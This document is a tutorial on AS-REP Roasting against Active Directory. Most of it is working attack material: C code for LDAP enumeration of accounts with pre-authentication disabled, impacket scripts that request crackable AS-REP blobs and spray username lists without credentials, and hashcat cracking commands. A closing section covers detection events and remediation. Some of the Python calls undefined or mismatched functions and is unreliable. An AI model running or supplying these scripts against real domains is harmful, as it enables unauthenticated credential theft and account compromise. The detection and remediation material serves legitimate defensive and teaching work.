AS-REP Roasting
Exploiting accounts with Kerberos pre-authentication disabled: crafting raw AS-REQ packets, extracting the AS-REP encrypted blob, and cracking it offline — no domain authentication required
You have nothing — no domain account, no credentials. You're on the network and can reach port 88 (Kerberos) on a domain controller. AS-REP Roasting starts here. Any Active Directory account with the Do not require Kerberos preauthentication flag set will respond to an unauthenticated AS-REQ with an AS-REP that contains a blob encrypted with the account's NT hash. You send a crafted packet, capture the response, and crack it offline. Zero credentials required for the attack itself. This is the one Kerberos attack you can launch before you even have a foothold.
What Kerberos Pre-authentication Does
Why Pre-authentication Gets Disabled
Pre-authentication is enabled by default for all accounts. Administrators disable it for specific reasons — all of which are misconfigurations from a security standpoint:
- Legacy application compatibility: Old Kerberos implementations (MIT Kerberos v4, some Unix PAM modules) don't support pre-authentication. Administrators disable it to get the app to authenticate.
- Misconfigured scripts or deployments: Group Policy or provisioning scripts that set userAccountControl incorrectly, or copy from a template account that had the flag set.
- Helpdesk "fixes": An application breaks, helpdesk Googles the error, finds a StackOverflow answer saying to uncheck the pre-authentication box, and does it without understanding the security implication.
- Forgotten test accounts: Test or service accounts provisioned for debugging with the flag set, then forgotten.
In large enterprise environments (10,000+ accounts), finding 5-50 accounts with pre-authentication disabled is common. Tools like PingCastle and BloodHound report this as a finding, and many orgs have not reviewed every account. Even one account with a weak password cracks in seconds.
Enumerating Vulnerable Accounts via LDAP
The LDAP filter (&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304)) matches any user account with bit 22 of userAccountControl set (4194304 = 0x400000 = DONT_REQ_PREAUTH). The LDAP matching rule OID 1.2.840.113556.1.4.803 is the bitwise AND rule:
#include <windows.h>
#include <winldap.h>
#include <stdio.h>
#pragma comment(lib, "wldap32.lib")
void EnumNoPreauthAccounts() {
LDAP *ld = ldap_init(NULL, LDAP_PORT);
ULONG ver = LDAP_VERSION3;
ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ver);
ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
// Get base DN from rootDSE
WCHAR *rootAttrs[] = { L"defaultNamingContext", NULL };
LDAPMessage *rootRes = NULL;
ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(objectClass=*)", rootAttrs, 0, &rootRes);
LDAPMessage *e = ldap_first_entry(ld, rootRes);
WCHAR **dcVals = ldap_get_values(ld, e, L"defaultNamingContext");
WCHAR baseDN[512];
wcscpy_s(baseDN, 512, dcVals[0]);
ldap_value_free(dcVals);
ldap_msgfree(rootRes);
WCHAR *attrs[] = {
L"sAMAccountName", L"userAccountControl",
L"distinguishedName", L"memberOf", NULL
};
// Bitwise AND filter: userAccountControl & 0x400000 (DONT_REQ_PREAUTH)
LDAPMessage *res = NULL;
ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
L"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))",
attrs, 0, &res);
DWORD count = (DWORD)ldap_count_entries(ld, res);
wprintf(L"Found %u accounts with pre-auth disabled:\n", count);
LDAPMessage *entry = ldap_first_entry(ld, res);
while (entry) {
WCHAR **sam = ldap_get_values(ld, entry, L"sAMAccountName");
WCHAR **dn = ldap_get_values(ld, entry, L"distinguishedName");
if (sam) wprintf(L" [*] %s\n DN: %s\n", sam[0], dn ? dn[0] : L"?");
if (sam) ldap_value_free(sam);
if (dn) ldap_value_free(dn);
entry = ldap_next_entry(ld, entry);
}
ldap_msgfree(res);
ldap_unbind(ld);
}
Crafting the AS-REQ Without a Password
The AS-REQ without pre-authentication is a standard Kerberos exchange using raw UDP/TCP to port 88. You specify the target username and request an RC4-encrypted ticket (etype 23) for faster cracking. The Python implementation via impacket shows the protocol clearly:
# Python / impacket — GetNPUsers.py style AS-REQ
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, AS_REP, KERB_PA_PAC_REQUEST
from impacket.krb5.kerberosv5 import sendReceive
from pyasn1.type import univ, namedtype
from pyasn1.codec.der import encoder, decoder
import datetime, struct, socket
def get_as_rep_hash(username, domain, dc_ip):
"""Request AS-REP without pre-authentication for the given username."""
client_name = principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
server_name = principal('krbtgt/%s' % domain,
type=constants.PrincipalNameType.NT_SRV_INST.value)
req = AS_REQ()
req['pvno'] = 5
req['msg-type'] = 10 # AS-REQ
# Request etype 23 (RC4-HMAC) for faster offline cracking
# Also include 18 (AES-256) and 17 (AES-128) for compatibility
req['req-body']['etype'] = [23, 18, 17]
req['req-body']['cname'] = client_name
req['req-body']['realm'] = domain.upper()
req['req-body']['sname'] = server_name
# Till time: 10 years from now (standard)
till = datetime.datetime.utcnow() + datetime.timedelta(days=3650)
req['req-body']['till'] = KerberosTime.to_asn1(till)
# PA-PAC-REQUEST: optional, tells KDC to include PAC in the response
pa_pac = KERB_PA_PAC_REQUEST()
pa_pac['include-pac'] = True
req['padata'] = [{'padata-type': 128, 'padata-value': encoder.encode(pa_pac)}]
# Send to DC port 88
resp = sendReceive(encoder.encode(req), domain, dc_ip)
# Parse the response
as_rep, _ = decoder.decode(resp, asn1Spec=AS_REP())
# The encrypted blob is in as_rep['enc-part']
# cipher: bytes from as_rep['enc-part']['cipher']
# etype: as_rep['enc-part']['etype'] (should be 23 for RC4)
etype = int(as_rep['enc-part']['etype'])
cipher = bytes(as_rep['enc-part']['cipher'])
return etype, cipher, username, domain
# Usage: crack hundreds of accounts in bulk
for user in user_list:
try:
etype, cipher, u, d = get_as_rep_hash(user, "corp.local", dc_ip)
print(format_hashcat(etype, cipher, u, d))
except KerberosError as e:
pass # Account not vulnerable (pre-auth required) → skip
AS-REP Encrypted Blob — What You're Cracking
Hashcat Format and Cracking
def format_hashcat(etype, cipher, username, domain):
"""Format AS-REP blob for hashcat -m 18200."""
# Mode 18200 = Kerberos 5, etype 23, AS-REP (RC4)
# Mode 19900 = Kerberos 5, etype 17, AS-REP (AES-128)
# Mode 19800 = Kerberos 5, etype 18, AS-REP (AES-256)
hex_cipher = cipher.hex()
checksum = hex_cipher[:32] # first 16 bytes = checksum
enc_data = hex_cipher[32:] # rest = ciphertext
return (f"$krb5asrep$23${username}@{domain.upper()}$"
f"{checksum}${enc_data}")
# Crack AS-REP hashes offline
# RC4-HMAC AS-REP (etype 23) — hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt rockyou.txt
# With rules (recommended — many accounts have password+symbol patterns)
hashcat -m 18200 asrep_hashes.txt rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Mask for common patterns (Company + Year + Special)
hashcat -m 18200 hash.txt -a 3 'Company?d?d?d?d?s'
# AES-256 AS-REP (etype 18)
hashcat -m 19800 asrep_aes_hashes.txt rockyou.txt
# GPU throughput (RTX 3090):
# etype 23 (RC4): ~12 billion H/s — rockyou.txt in milliseconds
# etype 18 (AES-256): ~1 million H/s — rockyou.txt in ~14 seconds
Unauthenticated Variant — Username Spraying
The most powerful variant: you have no credentials at all, but you have a list of usernames (from LinkedIn, web scraping, email format guessing, or brute-forcing). Send AS-REQ for each username. Accounts without pre-auth respond with an AS-REP. Accounts with pre-auth respond with KRB5KDC_ERR_PREAUTH_REQUIRED. Accounts that don't exist respond with KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN. This lets you enumerate valid usernames AND capture hashes in one pass:
#!/usr/bin/env python3
# Unauthenticated AS-REP roaster — no credentials needed
import socket, sys
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import KerberosException
def spray_users(user_file, domain, dc_ip):
valid, vulnerable, hashes = [], [], []
with open(user_file) as f:
users = [l.strip() for l in f if l.strip()]
for user in users:
try:
# Try with empty password — will fail auth but reveals if preauth is required
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value),
password='',
domain=domain,
lmhash=b'', nthash=b'',
aesKey='',
kdcHost=dc_ip,
requestPAC=True
)
# If we get here without exception, pre-auth was NOT required!
hashes.append(format_asrep_hash(cipher, user, domain))
print(f"[+] VULNERABLE (no preauth): {user}")
vulnerable.append(user)
except KerberosException as e:
error = str(e)
if 'KDC_ERR_PREAUTH_REQUIRED' in error:
print(f"[-] Pre-auth required (valid user): {user}")
valid.append(user)
elif 'CLIENT_NOT_FOUND' in error or 'C_PRINCIPAL_UNKNOWN' in error:
print(f"[x] Invalid user: {user}")
else:
print(f"[?] Unexpected error for {user}: {error}")
print(f"\n[*] Valid users (preauth): {len(valid)}")
print(f"[*] Vulnerable (no preauth): {len(vulnerable)}")
if hashes:
with open('asrep_hashes.txt', 'w') as o:
o.write('\n'.join(hashes))
print(f"[+] Wrote {len(hashes)} hashes to asrep_hashes.txt")
# Command-line tools that implement this:
# impacket-GetNPUsers corp.local/ -no-pass -usersfile users.txt -dc-ip 10.10.10.10
# Rubeus asreproast /format:hashcat /outfile:hashes.txt
AS-REP Roasting vs Kerberoasting — Comparison
| Factor | AS-REP Roasting | Kerberoasting |
|---|---|---|
| Domain creds needed? | No — completely unauthenticated | Yes — any domain user |
| Target accounts | User accounts with pre-auth disabled | Service accounts with SPNs |
| How common? | Less common (5-20 per large domain) | Very common (many domains have 50+ SPNs) |
| What you crack | AS-REP enc-part (encrypted with user's NT hash) | TGS ticket (encrypted with service account NT hash) |
| Hashcat mode | 18200 (etype 23) / 19800 (etype 18) | 13100 (etype 23) / 19700 (etype 18) |
| DC log event | 4768 (AS-REQ / TGT request) | 4769 (TGS-REQ / service ticket request) |
| Password quality | User account passwords — often rotated | Service account passwords — often never rotated, weaker |
| Mitigation | Re-enable pre-authentication on all accounts | AES-only etypes + strong passwords + managed service accounts (gMSA) |
Detection
| Signal | Event Source | Notes |
|---|---|---|
| Event 4768 with no pre-authentication (EncryptionType = 0x0 in the request) | DC Security Log | KERB_ETYPE_NULL in the AS-REQ indicates pre-auth was skipped — the KDC logs this on 4768 |
| Event 4768 with Failure Code 0x18 (pre-auth required) from same source for many users | DC Security Log | Username enumeration via AS-REQ — attacker probing valid usernames |
| 4768 bursts from non-domain-joined IP at port 88 | DC Security Log / Firewall | Unauthenticated tooling (impacket) runs from Linux — sourceAddress won't be a domain member |
| Account with DONT_REQ_PREAUTH flag in user audit | AD periodic audit / BloodHound | Proactive: find and fix these accounts before attackers do |
The fix is simple: re-enable pre-authentication on every account that has it disabled. If an application breaks, that application has a Kerberos implementation bug and needs to be updated. Use Microsoft's Group Policy or a one-liner PowerShell audit to find all accounts: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth. Then re-enable: Set-ADAccountControl -Identity username -DoesNotRequirePreAuth $false. Managed Service Accounts (gMSA) automatically have strong passwords and pre-authentication enabled — migrate service accounts to gMSA where possible.
Q&A
Can you use AS-REP Roasting to enumerate valid usernames from outside the domain even with pre-auth enabled?
Yes — this is a separate but related primitive. When you send an AS-REQ for a non-existent username, the KDC returns KDC_ERR_C_PRINCIPAL_UNKNOWN (error 0x6). When you send an AS-REQ for a valid username with pre-authentication enabled, the KDC returns KDC_ERR_PREAUTH_REQUIRED (error 0x19). The two different error codes reveal whether the username exists, even though you never authenticate. This is called Kerberos user enumeration (KERBRUTE technique — the tool kerbrute implements this). The important nuance for defenders: 4768 failure events with failure code 0x6 in bulk from one source IP is the detection signal. It's noisier to detect than AS-REP success events because some 0x6 errors happen naturally from typos. Volume and rate from a single source, combined with sequential username patterns (first.last from a harvested list), are the distinguishing characteristics.
If a target account uses AES-only (etype 18) and has pre-auth disabled, can you still crack it?
Yes, but it's dramatically slower. If the account's msDS-SupportedEncryptionTypes excludes RC4 (only AES-128=0x08 and AES-256=0x10 are set), the KDC will issue an AES-encrypted AS-REP regardless of what etypes you request. You'll get etype 17 (AES-128) or etype 18 (AES-256) depending on the DC's preference. Cracking these with hashcat modes 19900 (AES-128) or 19800 (AES-256) is ~5000x slower than RC4. On a single RTX 3090, etype 18 runs at about 1 million hashes/second. Rockyou.txt (14M passwords) takes about 14 seconds. A full dictionary + rules wordlist of 1 billion candidates takes about 17 minutes per hash. So cracking is still possible if the password is in a wordlist — but random 20-character passwords are safe. Combined with AES-only enforcement, even if an account has pre-auth mistakenly disabled, a strong random password makes cracking infeasible. The real fix remains: re-enable pre-authentication so the hash is never exposed in the first place.